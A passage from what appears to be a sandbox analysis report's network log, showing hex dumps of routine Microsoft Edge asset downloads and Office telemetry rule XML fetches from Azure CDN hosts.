e\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:]XQ"7CA
2024-11-25 06:53:49 UTC	16384	IN	Data Raw: 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b 70 5a 19 73 3e 85 d2 c6 f8 80 22 71 cd f5 40 34 cd c4 ce 27 Data Ascii: kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkXpZs>"q@4'
2024-11-25 06:53:49 UTC	16384	IN	Data Raw: 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc 9c d4 76 22 35 66 3f 5d d9 fb 8e 7d 65 84 fb 4f 5b 04 9b a8 Data Ascii: _CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;v"5f?]}eO[
2024-11-25 06:53:49 UTC	5227	IN	Data Raw: 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e 26 d2 d8 ca 80 2c 56 f9 34 27 86 21 28 e6 0e 92 0c 4e 75 b7 Data Ascii: a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.&,V4'!(Nu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	49886	13.107.246.40	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:48 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 06:53:49 UTC	564	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:49 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: c71c400f-801e-0010-5906-3f5ee1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T065348Z-174c587ffdf8fcgwhC1TEBnn7000000005qg00000000d9rb Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-25 06:53:49 UTC	15820	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-25 06:53:49 UTC	16384	IN	Data Raw: 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be Data Ascii: h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'e
2024-11-25 06:53:49 UTC	16384	IN	Data Raw: 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 82 d7 44 e8 Data Ascii: &O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD
2024-11-25 06:53:49 UTC	16384	IN	Data Raw: 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f Data Ascii: jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo
2024-11-25 06:53:49 UTC	16384	IN	Data Raw: ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d Data Ascii: k/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-
2024-11-25 06:53:49 UTC	16384	IN	Data Raw: 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 Data Ascii: M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ
2024-11-25 06:53:49 UTC	16384	IN	Data Raw: 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 Data Ascii: m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]h
2024-11-25 06:53:49 UTC	16384	IN	Data Raw: ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 Data Ascii: XdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPT
2024-11-25 06:53:49 UTC	16384	IN	Data Raw: 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d Data Ascii: ;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]
2024-11-25 06:53:49 UTC	16384	IN	Data Raw: 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 Data Ascii: P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:48 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:48 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:48 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 390d82dd-f01e-0071-4371-3c431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065348Z-174c587ffdf8fcgwhC1TEBnn7000000005m000000000se3z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 06:53:48 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:49 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:49 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: c9d02f83-e01e-0033-4d75-3b4695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065349Z-174c587ffdfl22mzhC1TEBk40c00000005t00000000054rz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:50 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:49 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:49 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: edaf41ae-201e-0051-5e49-3c7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065349Z-174c587ffdftv9hphC1TEBm29w00000005k0000000004k8s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:50 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:49 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
